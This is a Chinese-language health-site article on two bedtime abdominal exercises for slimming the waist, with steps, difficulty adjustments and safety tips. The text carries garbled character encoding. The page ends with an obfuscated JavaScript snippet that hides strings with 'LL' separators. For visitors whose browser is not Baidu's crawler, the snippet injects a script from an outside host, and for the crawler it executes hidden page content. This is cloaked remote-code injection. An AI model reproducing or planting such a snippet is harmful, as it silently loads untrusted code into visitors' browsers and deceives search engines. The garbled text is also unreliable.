當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

睡前瘦腰動(dòng)作是什么

2017-04-21 23:51:41  來源:360常識網(wǎng)   熱度:
導(dǎo)語:有些上班族根本就沒有任何的時(shí)間去鍛煉自己的身體,所以只有睡覺之前的時(shí)候才可以很好的去做一些鍛煉,但這個(gè)時(shí)候也不能夠去做太過于劇烈的

有些上班族根本就沒有任何的時(shí)間去鍛煉自己的身體,所以只有睡覺之前的時(shí)候才可以很好的去做一些鍛煉,但這個(gè)時(shí)候也不能夠去做太過于劇烈的運(yùn)動(dòng),要不然的話很可能影響到睡眠,甚至是導(dǎo)致身體出現(xiàn)異常情況的,今天我們就一起來了解一下睡前瘦腰的動(dòng)作是什么樣的。

動(dòng)作一、臀部不突出的緊縮

這個(gè)動(dòng)作更有效地防止你抬起臀部和上身腹肌。

背躺著,抬起雙腿,膝蓋彎曲,小腿與地面平行,腳放松。雙手交叉放在在胸前,手掌搭肩。收縮腹部肌肉,抬起頭,肩膀到后背和地面形成約30度角。頭不能接觸到地面。呼氣,小腹脹起;吸氣,小腹收縮。每次約25個(gè)來回。

降低難度:坐在椅子上練習(xí)。

提高難度:抬高雙腿練習(xí)。

提示:

1、不要將下巴靠到胸部上。

2、練習(xí)的關(guān)鍵是腹?。合胂罄吖窍蛲尾炕瑒?dòng)。

3、當(dāng)你開始覺得頭部,頸部或肩膀出現(xiàn)痙攣現(xiàn)象;或者你不能讓脖子或肩膀放松時(shí)就要停止練習(xí)。

動(dòng)作二、無反手的緊縮

無反手的緊縮,雙手沒有肩膀可以撐扶,這樣可以直接訓(xùn)練腹部的肌肉。

臉朝上平躺著,雙手抬起,手背朝向地面,雙手抓住了一塊沉重的家具或欄桿。雙腿彎曲,抬高小腿,盡量與地面垂直,同時(shí)收縮腹肌,臀部離地,雙腳再放回到地板上。呼氣,小腹脹起;吸氣,小腹收縮。每次約21個(gè)來回。

降低難度:不要向下,雙臂兩側(cè)移動(dòng)。

提高難度:抬高小腿時(shí),伸直雙腿。

提示:

1、在收縮腹部肌肉時(shí),不要在背部或腿部上用力。

2、骨盆不可以傾斜。

3、小腿舉起時(shí),膝蓋不能拉向胸部。

4、當(dāng)您的臀部不能抬離地面或抽搐,或者頸部和肩部緊張時(shí)要停止練習(xí)。

通過上文就是向大家詳細(xì)講解了睡前瘦腰動(dòng)作有哪些,最簡單的就是用自己的雙手抓住一些比較沉重的家具,然后將自己的雙腿自然的彎曲,盡量的可以與地面呈現(xiàn)垂直的狀態(tài),就可以很好的去收緊自己的腹部。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}